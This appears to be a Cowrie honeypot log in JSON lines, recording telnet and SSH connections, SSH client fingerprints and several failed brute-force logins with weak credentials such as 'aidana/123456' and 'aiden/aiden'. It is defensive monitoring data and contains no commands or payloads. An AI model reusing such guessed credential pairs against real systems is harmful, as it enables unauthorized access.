{"eventid":"cowrie.session.closed","duration":31.2202365398407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:00.175834Z","src_ip":"167.71.232.127","session":"f274a7087e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462849617004395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:02.163254Z","src_ip":"167.71.232.127","session":"1f42dc83dd39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656473398208618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:03.216684Z","src_ip":"167.71.232.127","session":"e00df32d29ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677438497543335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:04.233182Z","src_ip":"167.71.232.127","session":"3f15e87cc23d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"40264efabf0a","protocol":"telnet","message":"New connection: 167.71.232.127:47974 (159.203.135.109:23) [session: 40264efabf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:20.575208Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":51884,"dst_ip":"159.203.135.109","dst_port":23,"session":"60cc2f0f998e","protocol":"telnet","message":"New connection: 167.71.232.127:51884 (159.203.135.109:23) [session: 60cc2f0f998e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:28.599207Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44192,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d9a573137c","protocol":"ssh","message":"New connection: 159.203.92.129:44192 (159.203.135.109:22) [session: 29d9a573137c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:30.347170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:30.352393Z","src_ip":"159.203.92.129","session":"29d9a573137c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:30.357247Z","src_ip":"159.203.92.129","session":"29d9a573137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aidana","password":"123456","message":"login attempt [aidana/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:30.369194Z","src_ip":"159.203.92.129","session":"29d9a573137c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:31.376676Z","src_ip":"159.203.92.129","session":"29d9a573137c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":55770,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c12341c5ee","protocol":"telnet","message":"New connection: 167.71.232.127:55770 (159.203.135.109:23) [session: a8c12341c5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:35.561581Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7199371281","protocol":"telnet","message":"New connection: 167.71.232.127:59018 (159.203.135.109:23) [session: 5f7199371281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:41.664233Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":59376,"dst_ip":"159.203.135.109","dst_port":23,"session":"29f33080f56e","protocol":"telnet","message":"New connection: 167.71.232.127:59376 (159.203.135.109:23) [session: 29f33080f56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:42.530988Z"}
{"eventid":"cowrie.session.closed","duration":30.586620569229126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:51.161691Z","src_ip":"167.71.232.127","session":"40264efabf0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":35516,"dst_ip":"159.203.135.109","dst_port":23,"session":"07cc2cd33c47","protocol":"telnet","message":"New connection: 167.71.232.127:35516 (159.203.135.109:23) [session: 07cc2cd33c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:51.738908Z"}
{"eventid":"cowrie.session.closed","duration":30.547086477279663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:07:59.146192Z","src_ip":"167.71.232.127","session":"60cc2f0f998e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646486282348633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:06.207944Z","src_ip":"167.71.232.127","session":"a8c12341c5ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53171443939209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:12.195812Z","src_ip":"167.71.232.127","session":"5f7199371281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684796810150146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:13.215675Z","src_ip":"167.71.232.127","session":"29f33080f56e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133395195007,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:14.277615Z","src_ip":"195.216.185.169","session":"c496e1ccaed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.216.185.169","src_port":51266,"dst_ip":"10.17.0.5","dst_port":23,"session":"030fe61f18a9","protocol":"telnet","message":"New connection: 195.216.185.169:51266 (10.17.0.5:23) [session: 030fe61f18a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:14.784000Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59430,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffedd0c032b9","protocol":"ssh","message":"New connection: 159.203.92.129:59430 (159.203.135.109:22) [session: ffedd0c032b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:14.857521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:14.862327Z","src_ip":"159.203.92.129","session":"ffedd0c032b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:14.867612Z","src_ip":"159.203.92.129","session":"ffedd0c032b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aidana","password":"aidana","message":"login attempt [aidana/aidana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:14.878156Z","src_ip":"159.203.92.129","session":"ffedd0c032b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:15.896992Z","src_ip":"159.203.92.129","session":"ffedd0c032b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":46420,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dc535f63c77","protocol":"telnet","message":"New connection: 167.71.232.127:46420 (159.203.135.109:23) [session: 4dc535f63c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:18.206124Z"}
{"eventid":"cowrie.session.closed","duration":30.488277435302734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:22.227089Z","src_ip":"167.71.232.127","session":"07cc2cd33c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":53928,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c634b202c7b","protocol":"telnet","message":"New connection: 167.71.232.127:53928 (159.203.135.109:23) [session: 7c634b202c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:33.681064Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":54554,"dst_ip":"159.203.135.109","dst_port":23,"session":"c113921b680f","protocol":"telnet","message":"New connection: 167.71.232.127:54554 (159.203.135.109:23) [session: c113921b680f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:35.234792Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":56702,"dst_ip":"159.203.135.109","dst_port":23,"session":"db83e94b2a0a","protocol":"telnet","message":"New connection: 167.71.232.127:56702 (159.203.135.109:23) [session: db83e94b2a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:39.670777Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":57408,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df983f23234","protocol":"telnet","message":"New connection: 167.71.232.127:57408 (159.203.135.109:23) [session: 5df983f23234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:41.549458Z"}
{"eventid":"cowrie.session.closed","duration":30.954118728637695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:49.160117Z","src_ip":"167.71.232.127","session":"4dc535f63c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":32962,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd499a33cb8c","protocol":"telnet","message":"New connection: 167.71.232.127:32962 (159.203.135.109:23) [session: bd499a33cb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:50.579092Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49880,"dst_ip":"159.203.135.109","dst_port":22,"session":"f438b67420f3","protocol":"ssh","message":"New connection: 159.203.92.129:49880 (159.203.135.109:22) [session: f438b67420f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:59.936737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:59.941108Z","src_ip":"159.203.92.129","session":"f438b67420f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:59.949391Z","src_ip":"159.203.92.129","session":"f438b67420f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiden","password":"123456","message":"login attempt [aiden/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:08:59.996318Z","src_ip":"159.203.92.129","session":"f438b67420f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:01.007374Z","src_ip":"159.203.92.129","session":"f438b67420f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1a7b85dc334","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (159.203.135.109:22) [session: d1a7b85dc334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:03.927802Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:04.026199Z","src_ip":"64.89.160.135","session":"d1a7b85dc334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.438936948776245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:04.119903Z","src_ip":"167.71.232.127","session":"7c634b202c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931103467941284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:06.165756Z","src_ip":"167.71.232.127","session":"c113921b680f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":41398,"dst_ip":"159.203.135.109","dst_port":23,"session":"87cd0f3c0099","protocol":"telnet","message":"New connection: 167.71.232.127:41398 (159.203.135.109:23) [session: 87cd0f3c0099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:09.631032Z"}
{"eventid":"cowrie.session.closed","duration":30.591468572616577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:10.262139Z","src_ip":"167.71.232.127","session":"db83e94b2a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69506001472473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:12.244402Z","src_ip":"167.71.232.127","session":"5df983f23234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66268515586853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:21.241666Z","src_ip":"167.71.232.127","session":"bd499a33cb8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":37564,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d16e3760543","protocol":"telnet","message":"New connection: 167.71.232.127:37564 (159.203.135.109:23) [session: 5d16e3760543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:34.744009Z"}
{"eventid":"cowrie.session.closed","duration":30.523393392562866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:40.154277Z","src_ip":"167.71.232.127","session":"87cd0f3c0099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56238,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dce7812b5df","protocol":"ssh","message":"New connection: 159.203.92.129:56238 (159.203.135.109:22) [session: 4dce7812b5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:45.496827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:45.502918Z","src_ip":"159.203.92.129","session":"4dce7812b5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:45.507737Z","src_ip":"159.203.92.129","session":"4dce7812b5df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiden","password":"aiden","message":"login attempt [aiden/aiden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:45.518989Z","src_ip":"159.203.92.129","session":"4dce7812b5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:09:46.525266Z","src_ip":"159.203.92.129","session":"4dce7812b5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.405048847198486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:05.148989Z","src_ip":"167.71.232.127","session":"5d16e3760543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":37672,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc24f7d1e45b","protocol":"telnet","message":"New connection: 167.71.232.127:37672 (159.203.135.109:23) [session: bc24f7d1e45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:10:12.222853Z"}
